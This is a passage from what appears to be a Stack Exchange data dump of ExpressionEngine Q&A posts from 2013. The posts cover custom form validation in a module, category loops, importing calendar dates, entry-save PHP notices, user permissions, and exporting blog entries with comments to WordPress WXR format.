file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;CI =&amp;amp; get_instance();&#xA;    $this-&amp;gt;EE-&amp;gt;config-&amp;gt;load('config');&#xA;    $this-&amp;gt;conf = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('restaurant_menu_defaults');&#xA;    $this-&amp;gt;CI-&amp;gt;load-&amp;gt;helper('file');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('html');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('restaurant_menu_model');&#xA;    $this-&amp;gt;base = BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=restaurant_menu';&#xA;    $this-&amp;gt;base_url = BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=restaurant_menu';&#xA;    $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/themes/third_party/restaurant_menu/css/restaurant_menu.css&quot; type=&quot;text/css&quot; media=&quot;print, projection, screen&quot; /&amp;gt;');&#xA;    $this-&amp;gt;base_short = 'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=restaurant_menu';&#xA;    $this-&amp;gt;data['base_url_short'] = $this-&amp;gt;base_short;&#xA;    $this-&amp;gt;data['base_url'] = $this-&amp;gt;base;&#xA;    $this-&amp;gt;site_id = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id');&#xA;    $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_breadcrumb($this-&amp;gt;base, $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('Restaurant Menu'));&#xA;&#xA;    // setup navigation&#xA;    $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_right_nav(array(&#xA;        'module_nav_home' =&amp;gt; $this-&amp;gt;base_url.AMP.'method=index',&#xA;        //'module_nav_settings' =&amp;gt; $this-&amp;gt;base_url.AMP.'method=settings',&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;added this to my construct on mcp.module_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;load-&gt;library('form_validation');&#xA;$this-&gt;EE-&gt;load-&gt;library('MY_Form_validation');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in my methods, I run the form validation using: if($this-&gt;EE-&gt;my_form_validation-&gt;run() === FALSE)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I set my form field rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;my_form_validation-&gt;set_rules('title', 'title', 'required|max_length[75]');&#xA;$this-&gt;EE-&gt;my_form_validation-&gt;set_rules('short_name', 'Short name', 'required|is_valid|max_length[30]');&#xA;$this-&gt;EE-&gt;my_form_validation-&gt;set_error_delimiters('', '');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY_Form_validation.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('BASEPATH') OR exit('No direct script access allowed');&#xA;&#xA;class MY_Form_validation extends EE_Form_validation {&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @access  public&#xA;     */ &#xA;    function __construct($rules = array())&#xA;    {   &#xA;        parent::__construct($rules);&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    public function is_valid($value)&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;form_validation-&amp;gt;set_message('is_valid', 'The %s field can not contain any spaces');&#xA;        return false;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't post the form unless all the rules are met, but it won't display the form error messages, why do you think that is?&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2013-09-10T19:28:46.880" LastActivityDate="2013-09-10T19:28:46.880" Title="custom form validation class for a module I am building" Tags="|add-on-development|module|forms|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13598" PostTypeId="1" CreationDate="2013-09-09T15:46:26.723" Score="0" ViewCount="213" Body="&lt;p&gt;So I'm looking for a work around with Solspaces' Importer and Calendar module and hoping someone has a fix, hack or whatever for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the two awesome modules &lt;em&gt;do not exactly work together&lt;/em&gt;. Importer is great for taking a LOT of data and port that data into EE fields that you can run manually or on a cron. What it doesn't do however is port the DATES into Calendar DATES. This is a big problem for me since I'm using an API to pull in Events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone discovered a way to do this? My thoughts were that I could possibly have the date (formatted like so: 2013-10-01 07:30 PM) into a &lt;em&gt;text field&lt;/em&gt; and run a MySQL command that would port that information into my Solspace Calendar field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable or even thinkable? :) Perhaps I should try &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; instead? Or am I just stuck with having to edit each and every event to the end of time?&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-12-28T11:34:46.703" Title="Solspace Calendar and Importer" Tags="|mysql|solspace-calendar|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13599" PostTypeId="1" CreationDate="2013-09-09T15:58:44.390" Score="1" ViewCount="133" Body="&lt;p&gt;I'd like to return entries from a specific channel, but what i'd like to do is ONLY show entries from a child category first, but if there are none, then show entries from the child's parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2013-09-09T16:55:29.057" Title="Tricky Channel Entries Loop with Category Conditionals" Tags="|channel-entries|categories|conditionals|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13601" PostTypeId="2" ParentId="13599" CreationDate="2013-09-09T16:55:29.057" Score="2" Body="&lt;p&gt;Put your loop on a embed and call it at this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot; category=&quot;X&quot;}&#xA;    {if no_results}&#xA;        {exp:query&#xA;            sql=&quot;SELECT parent_id&#xA;                FROM exp_categories&#xA;                WHERE cat_id = X&quot;&#xA;        }&#xA;            {embed=&quot;pages/.category_loop&quot; cat_id=&quot;{parent_id}&quot;}&#xA;        {/exp:query}&#xA;    {/if}&#xA;        {embed=&quot;pages/.category_loop&quot; cat_id=&quot;X&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-09T16:55:29.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13602" PostTypeId="2" ParentId="13597" CreationDate="2013-09-09T16:57:38.607" Score="5" Body="&lt;p&gt;First, no need to ever load directly from CI - you can always use EE. (So, &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('file')&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same with your validation class - I'd extend &lt;code&gt;Form_validation&lt;/code&gt;, not &lt;code&gt;CI_Form_validation&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Generally, EE should serve as your path to anything CI-related to avoid any conflicts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to load your custom validation library, and call it by its unique name as well. You may also have to load the form validation class before loading your custom library.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('form_validation');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('my_form_validation');&#xA;// $this-&amp;gt;EE-&amp;gt;my_form_validation-&amp;gt;run();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-09T17:04:18.687" LastActivityDate="2013-09-09T17:04:18.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13603" PostTypeId="1" AcceptedAnswerId="13604" CreationDate="2013-09-09T18:27:35.240" Score="0" ViewCount="1833" Body="&lt;p&gt;I am pulling a series of entries from a Channel that has about a dozen categories. I need to be able to direct each entry's &quot;read more&quot; link to a template group that bears the same name as the category_url_title. I have reviewed the entries here and the ee documentation, but I can't figure out how to pull that information in using the channel entries tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;features&quot;}&#xA;  {summary} &amp;lt;a href=&quot;{category_url_title}&quot;&amp;gt;read more&quot;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to &quot;pull&quot; the category from the entry and reference it there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2017-10-17T10:48:41.883" Title="How do I include the Category URL Title in the Channel Entry link" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13604" PostTypeId="2" ParentId="13603" CreationDate="2013-09-09T18:42:54.167" Score="4" Body="&lt;p&gt;Category variables are only available within the &lt;code&gt;{categories}&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories limit=&quot;1&quot;}{category_url_title}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-09T18:42:54.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13605" PostTypeId="1" AcceptedAnswerId="13771" CreationDate="2013-09-09T18:46:09.187" Score="2" ViewCount="347" Body="&lt;p&gt;Whenever I save new entry I get the following error message.&#xA;But the entry is saved. I can open the entry and etdit it. When I save the edited version no error occurs.&#xA;What does this error message mean and what can I do to fix it? I started with uninstalling the checkbox fieldtype, since I don´t need it, but this didn´t help.&#xA;This error is not channel or custom fieldgroup specific. It comes up for all 3 channels that I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: field_id_sitemap__ping_sitemap&#xA;&#xA;Filename: checkboxes/ft.checkboxes.php&#xA;&#xA;Line Number: 80&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Invalid argument supplied for foreach()&#xA;&#xA;Filename: checkboxes/ft.checkboxes.php&#xA;&#xA;Line Number: 80&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/www/deleted_my_path-here/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-09-27T14:12:20.793" Title="EE 2.7.0: Saving a new channel entry brings error &quot;undefined index&quot;" Tags="|ee2|error|entry|saving|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13606" PostTypeId="1" CreationDate="2013-09-09T19:10:19.467" Score="1" ViewCount="527" Body="&lt;p&gt;I need to be able to give access to viewing a section of the EE site based on usergroup AND user. For example: I may have a usergroup that I do not want to have access to a blog. BUT, there is a user within that group that I want to give access. So, individual permissions would trump group permissions. Thanks so much for taking the time to help!&lt;/p&gt;&#xA;" OwnerUserId="2029" LastActivityDate="2013-09-09T23:48:27.223" Title="User based permissions?" Tags="|users|permissions|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13607" PostTypeId="1" CreationDate="2013-09-09T19:24:09.893" Score="5" ViewCount="130" Body="&lt;p&gt;I've looked everywhere for an Accessory that makes the Control Panel Categories look better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X7cxR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the screenshot I'm eventually going to run into a big issue when I get other States and Cities added and it's going to be a heckuva mess!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm envisioning a way to &quot;toggle&quot; the children list of categories here. This way I can have my &quot;Businesses&quot; open (since there aren't many children associated here) AND have the City/State category parents clickable to show their children. This will keep this list a LOT shorter and hence easier to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this or seen an Accessory that would do this? Like I said I've search everywhere on Devot-EE and Google to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again gang!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-09-09T19:32:06.103" Title="Better Way to Show Categories from the Control Panel?" Tags="|categories|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="2" ParentId="13607" CreationDate="2013-09-09T19:32:06.103" Score="5" Body="&lt;p&gt;I made Category Field for that very reason. &lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot;&gt;http://devot-ee.com/add-ons/category-field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-09-09T19:32:06.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13609" PostTypeId="2" ParentId="13606" CreationDate="2013-09-09T19:49:34.463" Score="0" Body="&lt;p&gt;There wouldn't be such type of permission. I think, it would be better to make a member field and update it accordingly if a member can see the blog content or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;    {if member_can_see == 'yes'}&#xA;        ### show the content ###&#xA;    {if:else}&#xA;        ### show the message if member can't see the content&#xA;    {/if}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-09T19:49:34.463" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13610" PostTypeId="2" ParentId="10882" CreationDate="2013-09-09T20:32:39.320" Score="0" Body="&lt;p&gt;Have you looked at Sift?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/sift&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/sift&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should do what you need. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-09-09T20:32:39.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13611" PostTypeId="2" ParentId="13606" CreationDate="2013-09-09T20:38:15.027" Score="1" Body="&lt;p&gt;Take a look at this. I've used it, really simple and easy to use on a per entry basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-access&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-09-09T20:38:15.027" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="1" AcceptedAnswerId="13806" CreationDate="2013-09-09T20:41:06.457" Score="0" ViewCount="332" Body="&lt;p&gt;&lt;strong&gt;I’m trying to use these two template systems (xml templates, php enabled) to export EE (EE core version 2.7) blog entries into WordPress .wxr import format:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two templates are in a template group called export. One template is called index, and the other is called comments. I open index in a new window and view source to see the .wxr data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one template directly below (I was using this before a two template system was suggested) outputs the four blog posts with the &lt;code&gt;status=&quot;Home Featured&quot;&lt;/code&gt; and all the comments, but the comments don't have the original author or URL but has the admins info, as noted in the original question title.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.1/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.1/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.1&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://domain.com/demo1/&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://domain.com/demo1&amp;lt;/wp:base_blog_url&amp;gt;&#xA;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.1.2&amp;lt;/generator&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; status=&quot;Home Featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;100&quot; offset=&quot;0&quot; rdf=&quot;off&quot; dynamic=&quot;no&quot;} &#xA;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;&amp;lt;/link&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;{entry_date format=&quot;%r&quot;}&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[{author}]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://domain.com/demo1/?p={entry_id}&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[{if blog-body}{blog-body}{if:elseif cc_content}{cc_content}{if:else}{article_content}{/if}]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;excerpt:encoded&amp;gt;&amp;lt;![CDATA[{if blog_short}{blog_short}{if:elseif cc_teaser}{cc_teaser}{if:else}{teaser}{/if}]]&amp;gt;&amp;lt;/excerpt:encoded&amp;gt;&#xA;        &amp;lt;wp:post_id&amp;gt;&amp;lt;/wp:post_id&amp;gt;&#xA;        &amp;lt;wp:post_date&amp;gt;{entry_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date&amp;gt;&#xA;        &amp;lt;wp:post_date_gmt&amp;gt;{gmt_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_status&amp;gt;open&amp;lt;/wp:comment_status&amp;gt;&#xA;        &amp;lt;wp:ping_status&amp;gt;open&amp;lt;/wp:ping_status&amp;gt;&#xA;        &amp;lt;wp:post_name&amp;gt;{url_title}&amp;lt;/wp:post_name&amp;gt;&#xA;        &amp;lt;wp:status&amp;gt;{if status == &quot;open&quot;}publish{if:elseif status == &quot;review&quot;}pending{if:elseif status == &quot;closed&quot;}private{if:elseif status == &quot;draft&quot;}draft{if:else}publish{/if}&amp;lt;/wp:status&amp;gt;&#xA;        &amp;lt;wp:post_parent&amp;gt;0&amp;lt;/wp:post_parent&amp;gt;&#xA;        &amp;lt;wp:menu_order&amp;gt;0&amp;lt;/wp:menu_order&amp;gt;&#xA;        &amp;lt;wp:post_type&amp;gt;post&amp;lt;/wp:post_type&amp;gt;&#xA;        &amp;lt;wp:post_password&amp;gt;&amp;lt;/wp:post_password&amp;gt;&#xA;        &amp;lt;wp:is_sticky&amp;gt;0&amp;lt;/wp:is_sticky&amp;gt;&#xA;{categories}&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;{if category_url_title == &quot;uncategorized&quot;}media{if:else}{category_url_title}{/if}&quot;&amp;gt;&amp;lt;![CDATA[{if category_name == &quot;Uncategorized&quot;}Media{if:else}{category_name}{/if}]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;{/categories}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_edit_last&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{if article_links}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;Associated Links&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[{article_links}]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{/if}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_su_rich_snippet_type&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[none]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_encloseme&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;{exp:comment:entries sort=&quot;desc&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;&#xA;&#xA;        &amp;lt;wp:comment&amp;gt;&#xA;            &amp;lt;wp:comment_id&amp;gt;{comment_id}&amp;lt;/wp:comment_id&amp;gt;&#xA;            &amp;lt;wp:comment_author&amp;gt;&amp;lt;![CDATA[{name}]]&amp;gt;&amp;lt;/wp:comment_author&amp;gt;&#xA;            &amp;lt;wp:comment_author_email&amp;gt;{email}&amp;lt;/wp:comment_author_email&amp;gt;&#xA;            &amp;lt;wp:comment_author_url&amp;gt;{url}&amp;lt;/wp:comment_author_url&amp;gt;&#xA;            &amp;lt;wp:comment_author_IP&amp;gt;{ip_address}&amp;lt;/wp:comment_author_IP&amp;gt;&#xA;            &amp;lt;wp:comment_date&amp;gt;{comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date&amp;gt;&#xA;            &amp;lt;wp:comment_date_gmt&amp;gt;{gmt_comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date_gmt&amp;gt;&#xA;            &amp;lt;wp:comment_content&amp;gt;&amp;lt;![CDATA[{comment}]]&amp;gt;&amp;lt;/wp:comment_content&amp;gt;&#xA;            &amp;lt;wp:comment_approved&amp;gt;1&amp;lt;/wp:comment_approved&amp;gt;&#xA;            &amp;lt;wp:comment_type&amp;gt;&amp;lt;/wp:comment_type&amp;gt;&#xA;            &amp;lt;wp:comment_parent&amp;gt;0&amp;lt;/wp:comment_parent&amp;gt;&#xA;            &amp;lt;wp:comment_user_id&amp;gt;0&amp;lt;/wp:comment_user_id&amp;gt;&#xA;        &amp;lt;/wp:comment&amp;gt;&#xA;{/exp:comment:entries}&#xA;    &amp;lt;/item&amp;gt;&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;9/12/13 edit:&lt;/strong&gt; *&lt;em&gt;This two template system breaks:&lt;/em&gt;* index only outputs one blog post and I don't think it correctly passes the blog post info to the comments template (so that the comments are linked by post ID to the blog post) because upon WP import, WP says the author doesn't exist and doesn't import any comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;index&quot; template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.1/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.1/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.1&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://domain.com/demo1/&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://domain.com/demo1&amp;lt;/wp:base_blog_url&amp;gt;&#xA;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.1.2&amp;lt;/generator&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;blog&quot; status=&quot;Home Featured&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot; offset=&quot;0&quot; rdf=&quot;off&quot; dynamic=&quot;no&quot;} &#xA;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;&amp;lt;/link&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;{entry_date format=&quot;%r&quot;}&amp;lt;/pubDate&amp;gt;&#xA;        &amp;lt;dc:creator&amp;gt;&amp;lt;![CDATA[{author}]]&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;http://domain.com/demo1/?p={entry_id}&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[{if blog-body}{blog-body}{if:elseif cc_content}{cc_content}{if:else}{article_content}{/if}]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;        &amp;lt;excerpt:encoded&amp;gt;&amp;lt;![CDATA[{if blog_short}{blog_short}{if:elseif cc_teaser}{cc_teaser}{if:else}{teaser}{/if}]]&amp;gt;&amp;lt;/excerpt:encoded&amp;gt;&#xA;        &amp;lt;wp:post_id&amp;gt;&amp;lt;/wp:post_id&amp;gt;&#xA;        &amp;lt;wp:post_date&amp;gt;{entry_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date&amp;gt;&#xA;        &amp;lt;wp:post_date_gmt&amp;gt;{gmt_date format=&quot;%Y-%m-%d %H:%i:%s&quot;}&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;        &amp;lt;wp:comment_status&amp;gt;open&amp;lt;/wp:comment_status&amp;gt;&#xA;        &amp;lt;wp:ping_status&amp;gt;open&amp;lt;/wp:ping_status&amp;gt;&#xA;        &amp;lt;wp:post_name&amp;gt;{url_title}&amp;lt;/wp:post_name&amp;gt;&#xA;        &amp;lt;wp:status&amp;gt;{if status == &quot;open&quot;}publish{if:elseif status == &quot;review&quot;}pending{if:elseif status == &quot;closed&quot;}private{if:elseif status == &quot;draft&quot;}draft{if:else}publish{/if}&amp;lt;/wp:status&amp;gt;&#xA;        &amp;lt;wp:post_parent&amp;gt;0&amp;lt;/wp:post_parent&amp;gt;&#xA;        &amp;lt;wp:menu_order&amp;gt;0&amp;lt;/wp:menu_order&amp;gt;&#xA;        &amp;lt;wp:post_type&amp;gt;post&amp;lt;/wp:post_type&amp;gt;&#xA;        &amp;lt;wp:post_password&amp;gt;&amp;lt;/wp:post_password&amp;gt;&#xA;        &amp;lt;wp:is_sticky&amp;gt;0&amp;lt;/wp:is_sticky&amp;gt;&#xA;{categories}&#xA;        &amp;lt;category domain=&quot;category&quot; nicename=&quot;{if category_url_title == &quot;uncategorized&quot;}media{if:else}{category_url_title}{/if}&quot;&amp;gt;&amp;lt;![CDATA[{if category_name == 